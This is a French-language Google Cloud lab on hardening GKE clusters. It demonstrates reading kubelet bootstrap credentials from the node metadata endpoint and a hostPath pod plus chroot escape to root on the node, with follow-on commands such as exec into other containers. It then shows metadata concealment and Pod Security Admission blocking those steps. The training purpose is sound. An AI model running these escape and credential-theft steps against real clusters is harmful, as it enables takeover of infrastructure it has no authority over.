GSP496

Présentation

Cet atelier explique certains problèmes de sécurité posés par la configuration par défaut des clusters GKE. Vous allez voir quelles mesures de renforcement de la sécurité permettent d'éviter d'avoir plusieurs chemins d'échappement des pods ou une élévation des privilèges des clusters. Les possibilités de piratage augmentent dans les scénarios suivants :

1. Une faille présente dans une application de pod externe, qui ouvre la voie à des attaques telles que la falsification de requête côté serveur (Server Side Request Forgery, SSRF).
2. Un conteneur entièrement compromis au sein d'un pod et qui rend possible l'exécution de commandes à distance (Remote Command Execution, RCE).
3. Un utilisateur interne malveillant ou un pirate informatique disposant des identifiants d'un utilisateur interne, ce qui lui permet de créer/mettre à jour un pod dans un espace de noms donné.

Cet atelier a été conçu par les ingénieurs de GKE Helmsman pour vous aider à mieux comprendre comment renforcer la sécurité des configurations par défaut des clusters GKE.

L'exemple de code à utiliser lors de cet atelier est fourni tel quel, sans garantie d'aucune sorte

Objectifs

À l'issue de cet atelier, vous comprendrez la nécessité de protéger les métadonnées de l'instance GKE et de définir des règles PodSecurityPolicy appropriées à votre environnement.

Vous découvrirez comment :

1. créer un petit cluster GKE à l'aide des paramètres par défaut ;
2. valider les chemins d'échappement des pods et d'élévation des privilèges des clusters les plus courants pour un utilisateur interne malveillant ;
3. renforcer le cluster GKE pour corriger ces problèmes ;
4. vérifier que le cluster n'autorise plus ces actions.

Préparation

Avant de cliquer sur le bouton "Démarrer l'atelier"

Lisez ces instructions. Les ateliers sont minutés, et vous ne pouvez pas les mettre en pause. Le minuteur, qui démarre lorsque vous cliquez sur Démarrer l'atelier, indique combien de temps les ressources Google Cloud resteront accessibles.

Cet atelier pratique vous permet de suivre les activités dans un véritable environnement cloud, et non dans un environnement de simulation ou de démonstration. Des identifiants temporaires vous sont fournis pour vous permettre de vous connecter à Google Cloud le temps de l'atelier.

Pour réaliser cet atelier :

• Vous devez avoir accès à un navigateur Internet standard (nous vous recommandons d'utiliser Chrome).

Remarque : Ouvrez une fenêtre de navigateur en mode incognito (recommandé) ou de navigation privée pour effectuer cet atelier. Vous éviterez ainsi les conflits entre votre compte personnel et le compte temporaire de participant, qui pourraient entraîner des frais supplémentaires facturés sur votre compte personnel.

• Vous disposez d'un temps limité. N'oubliez pas qu'une fois l'atelier commencé, vous ne pouvez pas le mettre en pause.

Remarque : Utilisez uniquement le compte de participant pour cet atelier. Si vous utilisez un autre compte Google Cloud, des frais peuvent être facturés à ce compte.

Démarrer l'atelier et se connecter à la console Google Cloud

1. Cliquez sur le bouton Démarrer l'atelier. Si l'atelier est payant, une boîte de dialogue s'affiche pour vous permettre de sélectionner un mode de paiement. Sur la gauche, vous trouverez le panneau "Détails concernant l'atelier", qui contient les éléments suivants :

   • Le bouton "Ouvrir la console Google Cloud"
   • Le temps restant
   • Les identifiants temporaires que vous devez utiliser pour cet atelier
   • Des informations complémentaires vous permettant d'effectuer l'atelier

2. Cliquez sur Ouvrir la console Google Cloud (ou effectuez un clic droit et sélectionnez Ouvrir le lien dans la fenêtre de navigation privée si vous utilisez le navigateur Chrome).

   L'atelier lance les ressources, puis ouvre la page "Se connecter" dans un nouvel onglet.

   Conseil : Réorganisez les onglets dans des fenêtres distinctes, placées côte à côte.

   Remarque : Si la boîte de dialogue Sélectionner un compte s'affiche, cliquez sur Utiliser un autre compte.

3. Si nécessaire, copiez le nom d'utilisateur ci-dessous et collez-le dans la boîte de dialogue Se connecter.

   {{{user_0.username | "Username"}}}

   Vous trouverez également le nom d'utilisateur dans le panneau "Détails concernant l'atelier".

4. Cliquez sur Suivant.

5. Copiez le mot de passe ci-dessous et collez-le dans la boîte de dialogue Bienvenue.

   {{{user_0.password | "Password"}}}

   Vous trouverez également le mot de passe dans le panneau "Détails concernant l'atelier".

6. Cliquez sur Suivant.

   Important : Vous devez utiliser les identifiants fournis pour l'atelier. Ne saisissez pas ceux de votre compte Google Cloud. Remarque : Si vous utilisez votre propre compte Google Cloud pour cet atelier, des frais supplémentaires peuvent vous être facturés.

7. Accédez aux pages suivantes :

   • Acceptez les conditions d'utilisation.
   • N'ajoutez pas d'options de récupération ni d'authentification à deux facteurs (ce compte est temporaire).
   • Ne vous inscrivez pas à des essais sans frais.

Après quelques instants, la console Cloud s'ouvre dans cet onglet.

Remarque : Pour accéder aux produits et services Google Cloud, cliquez sur le menu de navigation ou saisissez le nom du service ou du produit dans le champ Recherche.

Activer Cloud Shell

Cloud Shell est une machine virtuelle qui contient de nombreux outils pour les développeurs. Elle comprend un répertoire d'accueil persistant de 5 Go et s'exécute sur Google Cloud. Cloud Shell vous permet d'accéder via une ligne de commande à vos ressources Google Cloud.

1. Cliquez sur Activer Cloud Shell  en haut de la console Google Cloud.

2. Passez les fenêtres suivantes :

   • Accédez à la fenêtre d'informations de Cloud Shell.
   • Autorisez Cloud Shell à utiliser vos identifiants pour effectuer des appels d'API Google Cloud.

Une fois connecté, vous êtes en principe authentifié et le projet est défini sur votre ID_PROJET : . Le résultat contient une ligne qui déclare l'ID_PROJET pour cette session :

Your Cloud Platform project in this session is set to {{{project_0.project_id | "PROJECT_ID"}}}

gcloud est l'outil de ligne de commande pour Google Cloud. Il est préinstallé sur Cloud Shell et permet la complétion par tabulation.

3. (Facultatif) Vous pouvez lister les noms des comptes actifs à l'aide de cette commande :

gcloud auth list

4. Cliquez sur Autoriser.

Résultat :

ACTIVE: * ACCOUNT: {{{user_0.username | "ACCOUNT"}}} To set the active account, run: $ gcloud config set account `ACCOUNT`

5. (Facultatif) Vous pouvez lister les ID de projet à l'aide de cette commande :

gcloud config list project

Résultat :

[core] project = {{{project_0.project_id | "PROJECT_ID"}}} Remarque : Pour consulter la documentation complète sur gcloud, dans Google Cloud, accédez au guide de présentation de la gcloud CLI.

Tâche 1 : Créer un cluster GKE simple

1. Définissez une zone dans une variable d'environnement appelée MY_ZONE. Cet atelier utilise la zone "". Si vous préférez, vous pouvez sélectionner une autre zone :

export MY_ZONE={{{project_0.default_zone|ZONE}}}

2. Exécutez la commande suivante pour démarrer un cluster Kubernetes géré par Kubernetes Engine, nommé simplecluster et configuré pour exécuter deux nœuds :

gcloud container clusters create simplecluster --zone $MY_ZONE --num-nodes 2 --metadata=disable-legacy-endpoints=false

La création du cluster prend plusieurs minutes, le temps que Kubernetes Engine provisionne les machines virtuelles. Dans cet atelier, vous pouvez ignorer les avertissements concernant les fonctionnalités disponibles dans les nouvelles versions.

3. Une fois le cluster créé, vérifiez quelle version de Kubernetes est installée à l'aide de la commande kubectl version :

kubectl version

La commande gcloud container clusters create authentifie automatiquement kubectl.

4. Affichez les nœuds en cours d'exécution dans la console Cloud. Dans le menu de navigation, cliquez sur Compute Engine > Instances de VM.

Votre cluster Kubernetes est maintenant prêt.

Cliquez sur Vérifier ma progression pour valider l'objectif. Créer un cluster GKE simple

Tâche 2 : Exécuter un pod Google Cloud SDK

1. Lancez une instance unique du conteneur Google Cloud SDK depuis le prompt Cloud Shell :

kubectl run -it --rm gcloud --image=google/cloud-sdk:latest --restart=Never -- bash

Cette opération prend quelques minutes.

Remarque : Si l'exécution de la commande entraîne une erreur de dépassement de délai, exécutez-la de nouveau.

2. Vous disposez maintenant d'un shell bash dans le conteneur du pod :

root@gcloud:/#

Le démarrage du conteneur et l'affichage du prompt peuvent prendre quelques secondes. Si le prompt ne s'affiche pas, essayez d'appuyer sur Entrée.

Explorer le point de terminaison Compute Metadata

1. Exécutez la commande suivante pour accéder au point de terminaison Compute Metadata v1 :

curl -s http://metadata.google.internal/computeMetadata/v1/instance/name

Le résultat ressemble à ceci :

...snip... Your client does not have permission to get URL /computeMetadata/v1/instance/name from this server. Missing Metadata-Flavor:Google header. ...snip...

Un message d'erreur indique qu'un en-tête HTTP personnalisé est nécessaire.

2. Ajoutez l'en-tête personnalisé lors de l'exécution suivante et récupérez le nom de l'instance Compute Engine qui exécute ce pod :

curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/name

Le résultat ressemble à ceci :

gke-simplecluster-default-pool-b57a043a-6z5v Remarque : Si un en-tête HTTP personnalisé n'était pas requis pour accéder au point de terminaison de métadonnées d'une instance Compute Engine, un pirate informatique n'aurait qu'à exploiter une faille dans une application pour amener une URL Web à lui fournir des identifiants utilisateur. En exigeant un en-tête HTTP personnalisé, vous réduisez les risques d'attaque, car pour parvenir à ses fins, le pirate informatique devrait exploiter à la fois une faille dans une application et un en-tête personnalisé.

Laissez le shell disponible dans le pod. Vous l'utiliserez à l'étape suivante.

3. Si vous quittez accidentellement le shell du pod, exécutez simplement à nouveau la commande suivante :

kubectl run -it --rm gcloud --image=google/cloud-sdk:latest --restart=Never -- bash

Découvrir les identifiants d'amorçage d'un nœud GKE

1. Depuis le même shell de pod, exécutez la commande suivante pour répertorier les attributs associés aux instances Compute Engine sous-jacentes. N'oubliez pas d'inclure la barre oblique finale :

curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/attributes/

kube-env est sans doute la donnée la plus sensible de cette liste. Elle contient plusieurs variables que le kubelet utilise comme identifiants initiaux lors du rattachement du nœud au cluster GKE. Les variables CA_CERT, KUBELET_CERT et KUBELET_KEY contiennent ces informations et sont donc considérées comme sensibles pour les administrateurs de ressources non liées aux clusters.

2. Pour afficher les variables et données potentiellement sensibles, exécutez la commande suivante :

curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env

Par conséquent, considérons les situations suivantes :

• Une faille dans une application de pod qui ouvre la voie à des attaques SSRF
• Une faille dans une application ou dans une bibliothèque qui permet des attaques par RCE dans un pod
• Un utilisateur interne ayant la possibilité de créer ou d'exécuter sur un pod

Dans chacune de ces situations, le risque de compromission et d'exfiltration des identifiants d'amorçage sensibles kubelet via le point de terminaison Compute Metadata est élevé. Il est possible d'exploiter les identifiants kubelet dans certaines circonstances pour obtenir une élévation de privilèges jusqu'à cluster-admin, ce qui permet d'avoir le contrôle total du cluster GKE, y compris de toutes les données et de toutes les applications, et d'accéder aux nœuds sous-jacents.

Exploiter les autorisations attribuées au compte de service du pool de nœuds

Par défaut, les projets Google Cloud pour lesquels une API Compute est activée disposent d'un compte de service par défaut au format NNNNNNNNNN-compute@developer.gserviceaccount.com, auquel le rôle Éditeur est associé. De même, les clusters GKE créés sans compte de service utilisent le compte de service Compute par défaut et le rattachent à tous les nœuds de calcul.

1. Exécutez la commande curl suivante pour lister les champs d'application OAuth associés au compte de service rattaché à l'instance Compute Engine sous-jacente :

curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes

(Résultat) https://www.googleapis.com/auth/devstorage.read_only https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/monitoring https://www.googleapis.com/auth/service.management.readonly https://www.googleapis.com/auth/servicecontrol https://www.googleapis.com/auth/trace.append

La combinaison des champs d'application d'authentification et des autorisations du compte de service détermine ce à quoi les applications de ce nœud peuvent accéder. La liste ci-dessus définit les champs d'application minimaux requis pour la plupart des clusters GKE, mais certains cas d'utilisation en nécessitent d'autres.

Avertissement : Si, à la création du cluster, vous avez configuré le champ d'application d'authentification de façon à inclure "https://www.googleapis.com/auth/cloud-platform", n'importe quelle API Google Cloud peut être considérée comme faisant partie du champ d'application. Dans ce cas, seules les autorisations IAM attribuées au compte de service peuvent permettre de déterminer ses accès.

De plus, si vous utilisez le compte de service par défaut avec le rôle IAM par défaut Éditeur, alors n'importe quel pod sur ce pool de nœuds dispose des autorisations de niveau Éditeur pour le projet Google Cloud dans lequel le cluster GKE est déployé. Étant donné que le rôle IAM Éditeur dispose d'un large éventail d'autorisations de lecture/écriture pour interagir avec les ressources du projet telles que les instances Compute, les buckets Cloud Storage, les registres GCR et autres, cela représente un risque de sécurité significatif.

2. Pour quitter le pod, saisissez cette commande :

exit Remarque : Si vous n'êtes pas revenu dans Cloud Shell, appuyez sur ctrl+c

Tâche 3 : Déployer un pod qui installe le système de fichiers hôte

L'un des chemins "d'échappement" les plus simples vers l'hôte sous-jacent consiste à installer le système de fichiers de l'hôte dans celui du pod en utilisant les volumes et les volumeMounts Kubernetes standards dans la spécification du Pod.

1. Pour démontrer cela, exécutez la commande suivante pour créer un pod qui installe le système de fichiers hôte sous-jacent / dans le dossier /rootfs du conteneur :

cat <<EOF | kubectl apply -f - apiVersion: v1 kind: Pod metadata: name: hostpath spec: containers: - name: hostpath image: google/cloud-sdk:latest command: ["/bin/bash"] args: ["-c", "tail -f /dev/null"] volumeMounts: - mountPath: /rootfs name: rootfs volumes: - name: rootfs hostPath: path: / EOF

2. Exécutez la commande kubectl get pod. Répétez l'opération jusqu'à ce que l'état "Running" (en cours d'exécution) s'affiche :

kubectl get pod

(Résultat)

NAME READY STATUS RESTARTS AGE hostpath 1/1 Running 0 30s

Cliquez sur Vérifier ma progression pour valider l'objectif. Déployer un pod qui installe le système de fichiers hôte

Tâche 4 : Découvrir et compromettre l'hôte sous-jacent

1. Exécutez la commande suivante pour obtenir un shell à l'intérieur du pod que vous venez de créer :

kubectl exec -it hostpath -- bash

2. Passez du point racine du système de fichiers du shell du pod à celui de l'hôte sous-jacent :

chroot /rootfs /bin/bash

Grâce à ces commandes simples, le pod fait maintenant office de shell root pour le nœud. Vous pouvez désormais effectuer les opérations suivantes :

exécuter la commande Docker standard avec des autorisations complètes	docker ps
répertorier des images Docker	docker images
docker run un conteneur privilégié de votre choix	docker run --privileged <imagename>:<imageversion>
examiner les secrets Kubernetes installés	mount | grep volumes | awk '{print $3}' | xargs ls
exec sur n'importe quel conteneur en cours d'exécution (même sur un pod d'un autre espace de noms)	docker exec -it <docker container ID> sh

Presque toutes les opérations que l'utilisateur root peut effectuer sont disponibles pour l'interface système du pod. Cela inclut des mécanismes de persistance comme l'ajout d'utilisateurs ou de clés SSH, l'exécution de conteneurs de dockers privilégiés sur l'hôte en dehors de Kubernetes, et plus encore.

3. Pour quitter le shell du pod, exécutez exit deux fois (une première fois pour quitter l'environnement chroot et une autre fois pour quitter le shell du pod) :

exit exit Remarque : Si vous n'êtes pas revenu dans Cloud Shell, appuyez sur ctrl+c

4. Vous pouvez maintenant supprimer le pod hostpath :

kubectl delete pod hostpath

Comprendre les commandes disponibles

Les étapes suivantes de cette démonstration vont concerner les points suivants :

• Désactiver l'ancien point de terminaison de l'API Metadata de Compute Engine : Si vous spécifiez une clé et une valeur de métadonnées personnalisées, le point de terminaison v1beta1 des métadonnées ne sera plus disponible depuis l'instance.
• Activer la dissimulation des métadonnées : Grâce à une configuration supplémentaire lors de la création du cluster et/ou du pool de nœuds, un proxy léger peut être installé sur chaque nœud, ce qui permet de transférer toutes les requêtes à l'API Metadata et d'empêcher l'accès aux points de terminaison sensibles.
• Activer et utiliser l'admission de sécurité des pods : Activez le contrôleur d'admission de sécurité des pods dans votre cluster GKE. Vous pouvez ainsi appliquer des normes de sécurité des pods qui améliorent la stratégie de sécurité de votre cluster.

Tâche 5 : Déployer un deuxième pool de nœuds

Afin de pouvoir faire des essais avec et sans les protections du point de terminaison des métadonnées, vous allez créer un deuxième pool de nœuds ayant deux paramètres supplémentaires. Pour les pods programmés sur le pool de nœuds générique, les protections ne seront pas activées. En revanche, elles le seront pour les pods programmés sur le deuxième pool de nœuds.

Remarque : Les anciens points de terminaison sont obsolètes depuis le 30 septembre 2020. Dans la version 1.12 de GKE et les versions plus récentes, le paramètre "--metadata=disable-legacy-endpoints=true" est automatiquement activé. Par souci de clarté, la prochaine commande ci-dessous apporte des précisions.

• Créez le deuxième pool de nœuds :

gcloud beta container node-pools create second-pool --cluster=simplecluster --zone=$MY_ZONE --num-nodes=1 --metadata=disable-legacy-endpoints=true --workload-metadata-from-node=SECURE

Cliquez sur Vérifier ma progression pour valider l'objectif. Déployer un deuxième pool de nœuds

Tâche 6 : Exécuter un pod Google Cloud SDK

1. Dans Cloud Shell, lancez une instance unique du conteneur Google Cloud SDK, qui s'exécutera uniquement sur le deuxième pool de nœuds ayant les protections activées et qui ne sera pas exécutée en tant qu'utilisateur racine :

kubectl run -it --rm gcloud --image=google/cloud-sdk:latest --restart=Never --overrides='{ "apiVersion": "v1", "spec": { "securityContext": { "runAsUser": 65534, "fsGroup": 65534 }, "nodeSelector": { "cloud.google.com/gke-nodepool": "second-pool" } } }' -- bash Remarque : Si l'exécution de la commande entraîne une erreur de dépassement de délai, exécutez-la de nouveau.

2. Vous avez maintenant un shell bash à l'intérieur du conteneur du pod, qui s'exécute sur le pool de nœuds nommé second-pool. Le résultat suivant doit s'afficher :

nobody@gcloud:/$

Le lancement du conteneur et l'ouverture du prompt peuvent prendre quelques secondes.

Si vous ne voyez pas de prompt, appuyez sur Entrée.

Explorer différents points de terminaison bloqués

1. La configuration du deuxième pool de nœuds étant définie sur --workload-metadata-from-node=SECURE, la commande kube-env ci-dessous, destinée à récupérer le fichier sensible, va échouer :

curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env

(Résultat)

This metadata endpoint is concealed.

2. D'autres commandes envoyées à des points de terminaison non sensibles aboutiront si le bon en-tête HTTP est transmis :

curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/name

(Exemple de résultat)

gke-simplecluster-second-pool-8fbd68c5-gzzp

3. Quittez le pod :

exit

Vous devez être maintenant de retour dans Cloud Shell.

Tâche 7 : Appliquer les normes de sécurité des pods

1. Afin d'obtenir les autorisations nécessaires pour poursuivre, accordez des autorisations explicites à votre propre compte utilisateur pour devenir cluster-admin :

kubectl create clusterrolebinding clusteradmin --clusterrole=cluster-admin --user="$(gcloud config list account --format 'value(core.account)')"

(Résultat)

clusterrolebinding.rbac.authorization.k8s.io/clusteradmin created

2. Vous allez maintenant appliquer une norme de sécurité des pods. Choisissez la norme de sécurité la plus appropriée pour votre espace de noms "default". Le profil "restricted" (restreint) offre un niveau de sécurité plus élevé :

kubectl label namespace default pod-security.kubernetes.io/enforce=restricted

3. Vous allez maintenant créer un ClusterRole. Si vous souhaitez contrôler qui peut modifier les niveaux d'admission de sécurité des pods sur les espaces de noms, créez un ClusterRole appelé pod-security-manager :

cat <<EOF | kubectl apply -f - apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: pod-security-manager rules: - apiGroups: ['policy'] resources: ['podsecuritypolicies'] resourceNames: ['privileged', 'baseline', 'restricted'] verbs: ['use'] - apiGroups: [''] resources: ['namespaces'] verbs: ['get', 'list', 'watch', 'label'] EOF

4. Vous allez maintenant créer un RoleBinding. Pour limiter les utilisateurs autorisés à modifier les étiquettes d'espace de noms liées à l'admission de sécurité des pods, créez un RoleBinding dans l'espace de noms "default" :

cat <<EOF | kubectl apply -f - apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: pod-security-modifier namespace: default subjects: - kind: Group apiGroup: rbac.authorization.k8s.io name: system:authenticated roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: pod-security-manager EOF Remarque : Pour une application très personnalisée et dynamique de la sécurité des pods, vous pouvez utiliser des outils tels qu'OPA Gatekeeper ou Kyverno.

Cliquez sur Vérifier ma progression pour valider l'objectif. Déployer des objets PodSecurityPolicy

Tâche 8 : Déployer un pod bloqué qui installe le système de fichiers hôte

Comme le compte utilisé pour déployer le cluster GKE a obtenu les autorisations d'administration de cluster lors d'une étape précédente, il est nécessaire de créer un autre compte "utilisateur" pour interagir avec le cluster et valider l'application de la PodSecurityPolicy.

1. Pour ce faire, exécutez la commande suivante :

gcloud iam service-accounts create demo-developer

(Résultat)

Created service account [demo-developer].

2. Exécutez ensuite ces commandes pour accorder au compte de service les autorisations donnant la possibilité d'interagir avec le cluster et de créer des pods :

MYPROJECT=$(gcloud config list --format 'value(core.project)') gcloud projects add-iam-policy-binding "${MYPROJECT}" --role=roles/container.developer --member="serviceAccount:demo-developer@${MYPROJECT}.iam.gserviceaccount.com"

3. Obtenez les identifiants du compte de service en exécutant la commande suivante :

gcloud iam service-accounts keys create key.json --iam-account "demo-developer@${MYPROJECT}.iam.gserviceaccount.com"

4. Configurez kubectl pour l'authentifier en tant que compte de service :

gcloud auth activate-service-account --key-file=key.json

5. Pour configurer kubectl de façon à utiliser ces identifiants lors de la communication avec le cluster, exécutez la commande suivante :

gcloud container clusters get-credentials simplecluster --zone $MY_ZONE

6. Essayez à présent de créer un autre pod qui installe le système de fichiers hôte sous-jacent / au niveau du dossier /rootfs situé dans le conteneur :

cat <<EOF | kubectl apply -f - apiVersion: v1 kind: Pod metadata: name: hostpath spec: containers: - name: hostpath image: google/cloud-sdk:latest command: ["/bin/bash"] args: ["-c", "tail -f /dev/null"] volumeMounts: - mountPath: /rootfs name: rootfs volumes: - name: rootfs hostPath: path: / EOF

7. Ce résultat valide le blocage par la norme de sécurité des pods :

Error from server (Forbidden): error when creating "STDIN": pods "hostpath" is forbidden: violates PodSecurity "restricted:latest": allowPrivilegeEscalation != false (container "hostpath" must set securityContext.allowPrivilegeEscalation=false), unrestricted capabilities (container "hostpath" must set securityContext.capabilities.drop=["ALL"]), restricted volume types (volume "rootfs" uses restricted volume type "hostPath"), runAsNonRoot != true (pod or container "hostpath" must set securityContext.runAsNonRoot=true), seccompProfile (pod or container "hostpath" must set securityContext.seccompProfile.type to "RuntimeDefault" or "Localhost")

8. Déployez un autre pod qui répond aux critères de la règle restrictive-psp :

cat <<EOF | kubectl apply -f - apiVersion: v1 kind: Pod metadata: name: hostpath spec: securityContext: runAsNonRoot: true # Ensure a non-root user runAsUser: 1000 fsGroup: 2000 seccompProfile: # Add a seccomp profile type: RuntimeDefault containers: - name: hostpath image: google/cloud-sdk:latest command: ["/bin/bash"] args: ["-c", "tail -f /dev/null"] securityContext: allowPrivilegeEscalation: false capabilities: drop: ["ALL"] EOF

(Résultat)

pod/hostpath created

Cliquez sur Vérifier ma progression pour valider l'objectif. Déployer un pod bloqué qui installe le système de fichiers hôte

Félicitations !

Dans cet atelier, vous avez configuré un cluster Kubernetes par défaut dans Google Kubernetes Engine. Vous avez ensuite vérifié et exploité l'accès disponible pour le pod, puis renforcé le cluster et validé l'impossibilité d'effectuer des actions malveillantes.

Étapes suivantes et informations supplémentaires

• IMPORTANT : Cet atelier explique en détail plusieurs problèmes de sécurité. Cependant, d'autres domaines de votre environnement méritent également d'être considérés. Pour plus d'informations, consultez le guide Renforcer la sécurité d'un cluster.
• Appliquer des règles de sécurité prédéfinies au niveau du pod à l'aide de PodSecurity et du guide Renforcer la sécurité d'un cluster
• Comptes de service des nœuds : Guide Autorisations
• Protéger les métadonnées des nœuds : Guide Protéger les métadonnées d'un nœud

Formations et certifications Google Cloud

Les formations et certifications Google Cloud vous aident à tirer pleinement parti des technologies Google Cloud. Nos cours portent sur les compétences techniques et les bonnes pratiques à suivre pour être rapidement opérationnel et poursuivre votre apprentissage. Nous proposons des formations pour tous les niveaux, à la demande, en salle et à distance, pour nous adapter aux emplois du temps de chacun. Les certifications vous permettent de valider et de démontrer vos compétences et votre expérience en matière de technologies Google Cloud.

Dernière mise à jour du manuel : 14 février 2024

Dernier test de l'atelier : 14 février 2024

Copyright 2025 Google LLC. Tous droits réservés. Google et le logo Google sont des marques de Google LLC. Tous les autres noms d'entreprises et de produits peuvent être des marques des entreprises auxquelles ils sont associés.